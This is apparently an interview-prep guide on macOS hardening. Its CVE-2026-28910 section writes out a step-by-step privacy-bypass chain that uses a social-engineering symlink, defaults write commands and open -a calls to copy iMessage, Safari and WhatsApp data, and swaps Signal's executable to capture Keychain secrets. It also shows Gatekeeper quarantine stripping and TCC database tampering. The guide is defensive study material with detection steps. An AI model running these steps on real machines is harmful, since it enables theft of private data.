macOS System Hardening
macOS Security Architecture
┌──────────────────────────────────────────────┐ │ SIP (System Integrity Protection) │ Protects critical OS files │ Gatekeeper │ Code signing enforcement │ TCC (Transparency, Consent, Control) │ Permission model (camera, mic, disk) │ XProtect (MRT) │ Built-in AV/malware signatures │ Notarisation │ Apple-scanned app packages │ Secure Boot │ Verified boot chain │ T2/Apple Silicon (Secure Enclave) │ Hardware-backed crypto │ AMFI (Apple Mobile File Integrity) │ Code signing enforcement in kernel └──────────────────────────────────────────────┘
System Integrity Protection (SIP)
SIP prevents even root from modifying:
/System,/usr(except/usr/local),/bin,/sbin- System kernel extensions and daemons
# Check SIP status
csrutil status
# Disable (requires boot to Recovery OS — for legitimate dev use only)
# csrutil disable ← DON'T do in production
# Verify individual protection
ls -laO /System/Library/CoreServices/ # 'restricted' flagSIP bypasses (interview knowledge)
- CVE-2021-30892 (Shrootless) — installer packages could bypass SIP via post-install scripts
- CVE-2022-26712 — Screen Sharing XPC endpoint allowed SIP bypass via TCC
- Pattern: find a privileged process that runs as root and can write to SIP-protected paths
Gatekeeper & Notarisation
blocks apps not signed by a registered Apple Developer ID
Apple scans app for malware and signs a ticket — app must show notarisation receipt
# Check app signature
codesign --verify --verbose=4 /Applications/MyApp.app
codesign -dv --verbose=4 /path/to/binary
# Check notarisation
spctl --assess --verbose /Applications/MyApp.app
# Check quarantine attribute (set by browser/downloader)
xattr -l /path/to/downloaded.app
# com.apple.quarantine: set = app was downloaded
# Remove quarantine (why "allow app from unidentified developer" dialog appears)
xattr -r -d com.apple.quarantine /path/to/appSecurity noteAttackers use xattr -d com.apple.quarantine to bypass Gatekeeper after delivering payloads.
TCC (Transparency, Consent, and Control) — Deep Dive
What TCC Is
TCC is macOS's user-consent permission system. Any app that wants access to sensitive resources must ask TCC, which prompts the user and stores the decision. It acts as a policy engine sitting between apps and protected data — even root cannot bypass it without SIP off.
App requests Camera access
│
▼
tccd (TCC daemon)
│ checks TCC.db
▼
User prompted (if no prior decision)
│
┌────┴────┐
Allow Deny
│ │
▼ ▼
App gets App gets
access EPERMWhat TCC Protects
| Service | What it guards |
|---|---|
kTCCServiceCamera | Camera |
kTCCServiceMicrophone | Microphone |
kTCCServiceLocation | Location Services |
kTCCServicePhotos | Photo Library |
kTCCServiceAddressBook | Contacts |
kTCCServiceCalendar | Calendar |
kTCCServiceReminders | Reminders |
kTCCServiceScreenCapture | Screen Recording |
kTCCServiceAccessibility | Accessibility (control other apps) |
kTCCServiceAppleEvents | AppleScript/Automation |
kTCCServiceSystemPolicyDesktopFolder | Desktop folder |
kTCCServiceSystemPolicyDocumentsFolder | Documents folder |
kTCCServiceSystemPolicyDownloadsFolder | Downloads folder |
kTCCServiceSystemPolicyAllFiles | Full Disk Access — reads everything |
TCC Database
# Two databases:
# Per-user: ~/Library/Application Support/com.apple.TCC/TCC.db
# System: /Library/Application Support/com.apple.TCC/TCC.db
# Schema (simplified):
# SELECT service, client, client_type, auth_value, auth_reason FROM access;
# auth_value: 0=denied, 2=allowed, 3=limited
# List TCC permissions (macOS 13+)
tccutil list
# Reset permission for a specific app
tccutil reset Microphone com.example.app
tccutil reset All com.example.app
# View system TCC db (requires SIP off or Full Disk Access to read directly)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
"SELECT service, client, auth_value FROM access ORDER BY service"How Apps Get TCC Permissions
some Apple system apps have hardcoded TCC grants via private entitlements (e.g., com.apple.private.tcc.allow). These bypass the prompt entirely. This is a key attack surface.
standard apps must request and the user must approve.
enterprise MDM can grant permissions silently.
if an attacker can write to TCC.db (requires FDA or SIP-off), they grant themselves any permission.
TCC Bypass Techniques (Known)
| Technique | Description | Example CVE |
|---|---|---|
| Entitlement abuse | Inject into / abuse a process that has a private TCC entitlement | CVE-2026-28910 (Archive Utility) |
| Environment variable injection | DYLD_INSERT_LIBRARIES into TCC-privileged process | CVE-2020-9934 |
| XPC service with FDA | Abuse an XPC helper that has kTCCServiceSystemPolicyAllFiles | AUHelperService (macOS Sonoma beta) |
| TCC.db replacement | Physically replace the database file using a process with FDA | AUHelperService Exploit 2 |
Drag-and-drop com.apple.macl | Drag item into a process to permanently grant it read access | CVE-2026-28910 (Step 2) |
| Electron misconfiguration | NSApplicationSupportsSecureRestorableState=NO leaks sandbox | Various Electron apps |
| Symbolic link attacks | Symlink TCC-protected path to attacker-controlled location | Various |
App Sandbox and Data Containers — Deep Dive
What the App Sandbox Is
The macOS App Sandbox isolates each app into its own container. An app in the sandbox can only read/write its own container unless TCC or the user explicitly grants more.
~/Library/Containers/
└── com.apple.Safari/
└── Data/ ← Safari's private data (cookies, history, passwords)
└── com.apple.iChat/
└── Data/ ← iMessage database
└── com.apple.Notes/
└── Data/
~/Library/Group Containers/
└── group.com.apple.notes/ ← Shared between Notes and extensions
└── group.net.whatsapp.WhatsApp.shared/
└── 6N38VWS5BX.ru.keepcoder.Telegram/Each container directory has POSIX ACLs that prevent other processes from accessing it — even if running as the same user. This is enforced by the kernel sandbox.
What "Full Disk Access" Actually Means
kTCCServiceSystemPolicyAllFiles bypasses all container restrictions. A process with FDA can read:
- All app data containers (
~/Library/Containers/*/) - All group containers (
~/Library/Group Containers/*/) ~/Desktop,~/Documents,~/Downloads- System files (SSH keys, browser databases, Keychain backup)
- Time Machine backups
This is why getting FDA is the crown jewel of macOS privilege escalation.
Archive Utility — What It Is and Why It's Powerful
Archive Utility (/System/Library/CoreServices/Applications/Archive Utility.app) is the built-in macOS tool for creating and extracting .zip, .tar.gz, .aar archives. It runs when you double-click an archive in Finder or use the "Compress" context menu.
Why Archive Utility is privileged
- As a system utility (Apple-signed, in
/System), it holds elevated trust - It needs broad filesystem access to compress/extract arbitrary files
- Pre-CVE-2026-28910: it could access paths that sandboxed apps cannot, including
~/Library/Containers/ - Its XPC helper (
AUHelperService) had thecom.apple.private.tcc.allowentitlement withkTCCServiceSystemPolicyAllFiles— i.e., Full Disk Access, hardcoded, no user prompt
Configuring Archive Utility behavior (this is what the attack abuses):
# Archive Utility reads preferences from com.apple.archiveutility.plist
# Key settings:
defaults read com.apple.archiveutility
# archive-format: output format (zip, tar.gz, aar...)
# archive-move-after: where to move the created archive after compression
# expand-destination: where to extract archivesCVE-2026-28910: Full Technical Breakdown
ReportedOctober 17, 2025 (Mysk Research) Patched: macOS 26.4, March 24, 2026 (5+ months delay) Affected: macOS Tahoe 26.0.0 – 26.3.2 (earlier versions suspected) Severity: Critical — full TCC bypass, app data exfiltration, app hijacking — no elevated privileges required
The Three Weaknesses Chained
① Archive Utility's unrestricted access to app data containers
+
② Drag-and-drop com.apple.macl permanent filesystem grant
+
③ Archive Utility's behavior is fully configurable via plist preferences
=
Full TCC bypass + data exfiltration + app hijacking
with ZERO user-visible permission promptsWeakness 1: Archive Utility Can Reach Protected Containers
Archive Utility could compress files from:
~/Library/Containers/(app sandbox data — iMessage, Safari, Notes...)~/Library/Group Containers/(WhatsApp, Telegram, Signal...)- TCC-protected locations (Desktop, Documents, Photos)
Even when the user clicked "Don't Allow" in a TCC prompt triggered by the operation, Archive Utility retained access anyway because the access was granted to the system utility, not the requesting app.
Weakness 2: com.apple.macl — Permanent Drag-and-Drop Grant
When a user drags a file into an application, macOS expresses "user intent" by setting a com.apple.macl extended attribute on the dragged item. This permanently grants the recipient process filesystem read access to that item — and it cannot be revoked without SIP modification.
# The xattr that grants permanent access:
xattr -p com.apple.macl /path/to/file
# Shows: binary blob representing the granted process
# Attacker's trick: make the user drag a symlink that points to
# com.apple.archiveutility.plist into Terminal
# → Terminal now permanently has access to Archive Utility's preferencesThe attacker creates a symlink with a harmless-looking icon (e.g., a folder icon named "Drag Me!") pointing to ~/Library/Preferences/com.apple.archiveutility.plist. Once the user drags it into anything (Terminal, a fake "Applications folder"), Terminal gets permanent write access to Archive Utility's preferences.
Weakness 3: Archive Utility is Fully Preference-Driven
Once an attacker can write to com.apple.archiveutility.plist, they fully control Archive Utility's behavior:
# Step 1: set output format to .aar (Apple Archive — preserves all metadata)
defaults write com.apple.archiveutility archive-format aar
# Step 2: set the destination for newly created archives to attacker-controlled dir
defaults write com.apple.archiveutility archive-move-after /tmp/exfil/
# Step 3: trigger Archive Utility on a target file (no GUI, no prompt)
open -a "Archive Utility" ~/Library/Containers/com.apple.iChat/Data/Library/Messages/chat.db
# Archive Utility compresses the file (with full access) and moves result to /tmp/exfil/
# Attacker now has iMessage chat.db with zero prompts shown to userThe researchers named this mechanism au-cp (Archive Utility Copy):
au-cp(source, dest):
1. defaults write archive-move-after = dest
2. open -a "Archive Utility" source → creates archive in dest
3. extract archive → get original file
4. restore original preferencesFull Attack Chain: pb2au PoC
User runs "curl | bash" style installer (no sudo) │ ▼ Step 1: Attacker creates a symlink: ln -s ~/Library/Preferences/com.apple.archiveutility.plist ~/.evil/DragMe # Give it a generic folder icon via SetFile or attribute manipulation Step 2: Social engineering — user drags "DragMe" into Terminal → com.apple.macl set on archiveutility.plist → Terminal permanently has write access to Archive Utility prefs Step 3: Attacker script configures Archive Utility: defaults write com.apple.archiveutility archive-format aar defaults write com.apple.archiveutility archive-move-after /tmp/steal/ Step 4: Exfiltrate any target: open -a "Archive Utility" ~/Library/Containers/com.apple.Safari/Data/... open -a "Archive Utility" ~/Library/Group Containers/group.net.whatsapp... open -a "Archive Utility" ~/Library/Messages/chat.db Step 5 (App Hijacking): Replace app executable # Archive Utility can also write to /Applications/Signal.app/Contents/MacOS/ au-cp /Applications/Signal.app/Contents/MacOS/Signal /tmp/backup au-cp /tmp/evil_binary /Applications/Signal.app/Contents/MacOS/Signal # macOS shows "prevented" notification but the replacement STILL SUCCEEDS Step 6: Wait for user to launch Signal → Attacker binary runs with Signal's identity → Triggers real macOS Keychain prompt (not fake — the real system dialog) → User enters password → attacker gets Signal's encryption keys
Data Accessible via This Attack
| App | File / Container | Data Stolen |
|---|---|---|
| iMessage | ~/Library/Messages/chat.db | Full message history |
| Notes | group.com.apple.notes/NoteStore.sqlite | All notes |
| Safari | com.apple.Safari/Data/ | Cookies (unencrypted), history, autofill |
~/Library/Mail/V10/ | All email | |
group.net.whatsapp.WhatsApp.shared/ | Messages, media | |
| Telegram | 6N38VWS5BX.ru.keepcoder.Telegram/ | Messages, keys |
| Signal | App bundle executable | After hijack: encryption keys via Keychain prompt |
| iCloud | ~/Library/Mobile Documents/ | All iCloud Drive files |
| Desktop/Documents | Direct TCC bypass | Any file even with "Don't Allow" |
Why the App Hijacking Is Especially Dangerous
Apple hasn't explained why validation failed
not a phishing overlay; it's the genuine system dialog that users have been trained to trust
displayed but the attack still succeeds
runs entirely as the logged-in user
The AUHelperService XPC Bug (Related — Different CVE, Sonoma Beta)
Researcher jhftss found a separate but related vulnerability in AUHelperService.xpc, an XPC helper inside Archive Utility:
/System/Library/CoreServices/Applications/Archive Utility.app/
└── Contents/XPCServices/
└── AUHelperService.xpc ← Vulnerable helperEntitlements on AUHelperService
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceSystemPolicyAllFiles</string> ← Full Disk Access, hardcoded
</array>The bugThe XPC delegate accepted all clients without any identity check:
// Vulnerable implementation:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
return YES; // accepts ANYONE
}Exploitation
Exploit 1: Call validateTargetDirectory: → get sandbox extension to any TCC-protected path
Exploit 2: Call moveWithUniquingFrom:into: → physically move/replace TCC.db itself
→ attacker adds any permission to TCC.db
→ effectively grants themselves Full Disk Access, Camera, Microphone, etc.Patch (macOS 14.0/Sonoma): XPC now requires caller to possess com.apple.private.AUHelperService.XPC entitlement.
Fix in macOS 26.4
Apple implemented two mitigations for CVE-2026-28910:
can no longer access protected container paths when invoked by another process (only when user directly interacts with it)
system warns when commands are pasted into Terminal from untrusted sources (but relies on heuristics — recent launch time, source app — not actual command analysis)
The Terminal paste warning is considered weak because it's non-deterministic and educationally ineffective (it doesn't explain why the paste is dangerous).
Detection
# Check for unexpected com.apple.archiveutility.plist modifications
stat ~/Library/Preferences/com.apple.archiveutility.plist
# Look for unexpected archive-move-after or archive-format keys:
defaults read com.apple.archiveutility
# Check for com.apple.macl on preference files (should not be present)
xattr ~/Library/Preferences/com.apple.archiveutility.plist
# Look for unexpected Archive Utility processes launched by scripts
# (Sysmon-equivalent: check for Archive Utility parent = bash/zsh/python)
# Check app bundle modification times
stat /Applications/Signal.app/Contents/MacOS/Signal
# compare against known-good date
# File integrity check on app bundles
codesign --verify --strict /Applications/Signal.app
# If hijacked: "code object is not signed at all" or hash mismatchMitigation (Post-patch)
[ ] Update to macOS 26.4+
[ ] If running older macOS: be extremely suspicious of "Drag Me" prompts in installers
[ ] Audit Archive Utility preferences for unexpected keys:
defaults read com.apple.archiveutility
[ ] Monitor app bundle modification times (AIDE or similar)
[ ] Verify app signatures after any unexpected system notification:
codesign --verify --strict /Applications/<App>.app
[ ] Treat any "curl | bash" installer as a red flag requiring source reviewInterview Angles
TCC appeared to block it (prompt shown), SIP appeared active, code signing appeared intact — all three defenses gave false assurance.
Each security layer can be bypassed individually; real security requires detecting the combination of: preferences modified + Archive Utility invoked programmatically + files moved to unusual destinations.
com.apple.macl grant non-revocable?Because it's stored as an extended attribute on the file rather than in a central policy store. Removing it would require modifying a protected kernel data structure.
Every XPC listener must validate caller identity — either via entitlement check, code signing requirement, or audit token comparison. "Return YES" is never acceptable for a privileged helper.
TCC (Transparency, Consent, and Control)
Controls access to:
- Full Disk Access, Desktop/Documents/Downloads
- Camera, Microphone, Location Services
- Calendar, Contacts, Reminders
- Screen Recording
- Automation (AppleScript control of other apps)
# TCC database locations
# System: /Library/Application Support/com.apple.TCC/TCC.db
# User: ~/Library/Application Support/com.apple.TCC/TCC.db
# List TCC permissions (macOS 13+)
tccutil list
# Reset TCC permissions for an app
tccutil reset All com.example.myapp
tccutil reset Microphone
# View system TCC db (requires SIP off or Full Disk Access)
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "SELECT service, client, auth_value FROM access"Attack vectorgain Full Disk Access → read any file including credential stores, SSH keys, browser databases.
TCC bypass techniques
- Abuse apps that already have FDA (e.g., Time Machine, Finder) via injection
- CVE-2020-9934: Environment variable injection into TCC-privileged process
- Electron app misconfiguration:
NSApplicationSupportsSecureRestorableState = NO - CVE-2026-28910: Archive Utility preference manipulation → full TCC bypass (see above)
XProtect & MRT
YARA-based signature scanner, runs transparently on file execution
removes known malware families
(macOS 12.3+): more active scanning, runs periodically
# Location
/Library/Apple/System/Library/CoreServices/XProtect.bundle
/Library/Apple/System/Library/CoreServices/MRT.app
# Update signatures (usually automatic via Software Update)
softwareupdate --list # check for signature updates
# Verify XProtect version
/usr/libexec/xprotect --get-version
defaults read /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.meta.plistSecure Boot & FileVault
FileVault 2 (Full Disk Encryption)
# Check FileVault status
fdesetup status
# Enable (interactively)
sudo fdesetup enable
# List recovery key
sudo fdesetup showrecovery -user <username>
# Enable institutional recovery key (for enterprise)
sudo fdesetup enable -keychain /path/to/keychainSecurityAES-XTS-256. Key stored in Secure Enclave (T2/Apple Silicon). Without the password, disk is unreadable.
Secure Boot (T2 / Apple Silicon)
(default): verifies OS is from Apple + not tampered
allows third-party kernel extensions
allows unsigned OS (required for alternative OS, not recommended)
# Check via System Information
system_profiler SPHardwareDataType | grep "Secure Boot"
# On Apple Silicon, check via recoveryOS or:
nvram -p | grep securityFirewall
# Enable Application Firewall (GUI: System Settings → Network → Firewall)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1
# Block all incoming connections (most secure)
sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 2
# Check firewall status
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
# Enable stealth mode (don't respond to probe packets)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on
# Allow/block a specific app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /Applications/MyApp.app
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --block /Applications/MyApp.apppf (packet filter) — low-level firewall (same as BSD):
# Edit /etc/pf.conf
sudo pfctl -e # enable
sudo pfctl -f /etc/pf.conf # reload
# Block all except established outbound + specific inbound
block in all
pass out all keep state
pass in proto tcp from any to any port 22 keep statePassword & Authentication Hardening
# Require password immediately on sleep/screen saver
sudo defaults write /Library/Preferences/com.apple.screensaver askForPassword -int 1
sudo defaults write /Library/Preferences/com.apple.screensaver askForPasswordDelay -int 0
# Set auto-lock timeout (in seconds, 0 = never)
sudo defaults write /Library/Preferences/com.apple.screensaver idleTime -int 300
# Disable auto-login
sudo defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser -string ""
sudo defaults delete /Library/Preferences/com.apple.loginwindow autoLoginUser 2>/dev/null
# Require password to unlock System Preferences
sudo security authorizationdb write system.preferences allow
# Enable secure virtual memory (encrypt swap)
sudo defaults write /Library/Preferences/com.apple.virtualMemory UseEncryptedSwap -bool true
# Show all login items (for security review)
osascript -e 'tell application "System Events" to get the name of every login item'Audit Framework (BSM/auditd)
# macOS uses BSM (Basic Security Module) audit
sudo audit -s # start
sudo audit -t # terminate
# Audit configuration: /etc/security/audit_control
# Edit to include:
flags:lo,aa,ex,nt # login/logout, authentication, exec, network
naflags:lo,aa
# Read audit logs (binary format)
sudo praudit /var/audit/current | head -100
# Filter by event type
sudo praudit -x /var/audit/current | grep -A5 'execve'
# Audit trail location
ls -la /var/audit/SIP-Protected Persistence Locations (Attacker Targets)
# LaunchAgents (user-level auto-start) — writable by user
~/Library/LaunchAgents/
/Library/LaunchAgents/
# LaunchDaemons (system-level, root required)
/Library/LaunchDaemons/
# Login Items
~/Library/Application Support/com.apple.backgroundtaskmanagementagent/
# Cron (legacy)
/var/at/tabs/<username>
# Shell profiles
~/.zshrc ~/.bash_profile ~/.bashrc ~/.zprofile
# Audit LaunchAgents for suspicious entries
for f in ~/Library/LaunchAgents/*.plist /Library/LaunchAgents/*.plist; do
echo "=== $f ==="
plutil -p "$f" | grep -E "ProgramArguments|Label|RunAtLoad"
donePrivacy & Telemetry
# Disable Diagnostic Data / Analytics sending
sudo defaults write /Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist AutoSubmit -bool false
# Disable Spotlight suggestions (sends queries to Apple)
sudo mdutil -a -i off # disable spotlight indexing entirely
# Disable mDNS (network discovery, useful in hardened environments)
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist 2>/dev/nullHardening Checklist (macOS)
[ ] FileVault enabled
[ ] Secure Boot: Full Security
[ ] SIP: enabled (csrutil status)
[ ] Application Firewall + stealth mode enabled
[ ] pf rules for inbound control
[ ] Firmware password set (Intel) / Activation Lock (Apple Silicon)
[ ] Auto-login disabled
[ ] Screen lock on sleep + immediate password required
[ ] Remote Login (SSH) disabled unless needed
[ ] Remote Management (ARD) disabled
[ ] Bluetooth off when not needed
[ ] AirDrop: Contacts Only or Off
[ ] Gatekeeper: App Store and identified developers
[ ] Notarisation: enforced (check spctl)
[ ] Find My Mac enabled (for asset tracking/remote wipe)
[ ] Guest account disabled
[ ] Full Disk Access: audit list in Privacy & Security
[ ] XProtect signatures up to date (softwareupdate)
[ ] Launch agents/daemons audited for unknown entries
[ ] TCC permissions audited (tccutil list)
[ ] auditd configured and running
[ ] Encryption of Time Machine backups enabledMemory hookmacOS security is a stack of named gates, each guarding a different stage. Map them to the malware lifecycle: Gatekeeper + notarization + quarantine guard download & first launch (is this app from a known, Apple-checked developer?); XProtect is the built-in signature AV; TCC guards access to your data (the "App wants to access your Camera/Files" prompts); SIP guards the system itself from even root; and Secure Boot guards the boot chain. The recurring lesson the case studies teach: each gate can be bypassed individually and each gives false assurance alone, so detection must look for the combination of suspicious signals. Mnemonic for the consumer-facing trio: Gatekeeper checks the door, XProtect checks the bag, TCC checks what you're allowed to touch inside.
Interview Questions: macOS Hardening
System Integrity Protection is a kernel-enforced restriction that prevents even root from modifying protected system locations — directories like /System and /usr, system binaries, and certain kernel and process protections — and from attaching to system processes. It exists because the traditional Unix model gives root total power, and SIP draws a line root can't cross, so malware that gains root still can't tamper with the OS or disable protections. Attackers have bypassed it through vulnerabilities in Apple-entitled processes — a SIP-exempt system daemon with a flaw can be coerced into performing the protected action on the attacker's behalf — and through bugs in the SIP enforcement itself, like the "Shrootless" class that abused system installation scripts. So bypasses typically come from abusing an already-trusted, entitled component rather than turning SIP off directly.
Transparency, Consent, and Control is the macOS privacy framework that gates application access to sensitive resources — the camera, microphone, location, and protected data folders like Documents, Downloads, and Mail — behind explicit user consent prompts, with grants stored in a TCC database. Full Disk Access is the master key: an app with it bypasses all the per-folder TCC protections and can read essentially everything, including other apps' data, Mail, Messages, and browser stores. So for an attacker, obtaining Full Disk Access — by phishing the consent prompt, abusing an already-granted app, or tampering with the TCC database — turns a foothold into broad data theft without further prompts. That's why TCC-grant changes and access to the TCC database are high-value detection signals.
Gatekeeper checks apps at first launch to ensure they're from an identified developer and, for modern macOS, notarized by Apple — if the app is unsigned or unnotarized, it's blocked or warns the user. The mechanism that triggers it is the quarantine attribute: when an app is downloaded via a browser or other quarantine-aware app, the OS tags the file with the com.apple.quarantine extended attribute, and on first launch Gatekeeper sees that flag and performs its signature, notarization, and policy checks. Once approved, the flag is cleared and subsequent launches skip the check. A common attacker move is delivering payloads in a way that avoids the quarantine flag — for instance via certain archive types or command-line tools — so Gatekeeper never engages, which is why stripping or evading com.apple.quarantine is itself a detection signal.
They're two different layers. XProtect is Apple's built-in signature-based antimalware — it scans for known-malicious files using signatures Apple pushes out, so it's reactive detection of known bad. Notarization is a proactive supply-side check: developers submit their software to Apple's automated service before distribution, Apple scans it for malware and checks signing, and issues a notarization ticket that Gatekeeper verifies at launch. So notarization vets software before it ever runs on a user's machine and is about provenance and pre-screening, while XProtect catches known malware that's already present. Notarization raises the baseline by making unnotarized software warn or fail, and XProtect is the signature net for the known threats that slip through.
Common persistence: LaunchAgents and LaunchDaemons in the user and system Library directories, login items, configuration profiles, cron and the modern at/launchd timers, and shell startup files like zshrc; also kernel and system extensions, and dylib hijacking. To investigate a suspicious LaunchAgent, I'd examine its plist — the program it launches, its arguments, and the RunAtLoad/KeepAlive keys that give it persistence — then inspect the target binary: its code signature and notarization status, hash it against threat intel, and look at where it lives, since legitimate agents are signed and in expected paths while malware is often unsigned, ad-hoc signed, or in a user-writable hidden location. I'd correlate its creation time with other activity, check unified logs for its execution, and pull network connections it makes. The plist plus the binary's signing and location usually tell you quickly whether it's legitimate.
On Apple Silicon and T2 Macs, Full Security ensures only a known-good, signed operating system that Apple currently signs can boot — it verifies the boot chain so the machine won't load a tampered or downgraded OS, protecting against bootkits and rootkit persistence below the OS. What it doesn't protect against is post-boot compromise: once a legitimately-signed OS is running, application-level malware, user consent abuse, and runtime exploits are still in play. On auditing, macOS historically used a BSM-based audit framework, but Apple has deprecated OpenBSM in favor of the Endpoint Security Framework, which is the modern, supported way to get process, file, and system event telemetry and is what EDR products build on — whereas Linux auditd is a kernel subsystem driven by rule files over syscalls. So the practical difference is macOS detection centers on ESF and unified logs rather than a Linux-style auditd ruleset.
- CVE-2026-28910: Walk me through the full attack chain. Why did TCC, code signing, and the "prevented" notification all fail to stop it?
- What is
com.apple.macland why is the access grant it creates non-revocable without SIP modification? - How should an XPC service validate its callers? What went wrong with AUHelperService?
- If you were investigating a macOS host for a CVE-2026-28910-style compromise, what artifacts would you look for?
- What does the attack teach about defense-in-depth in macOS security? What detection would have caught it?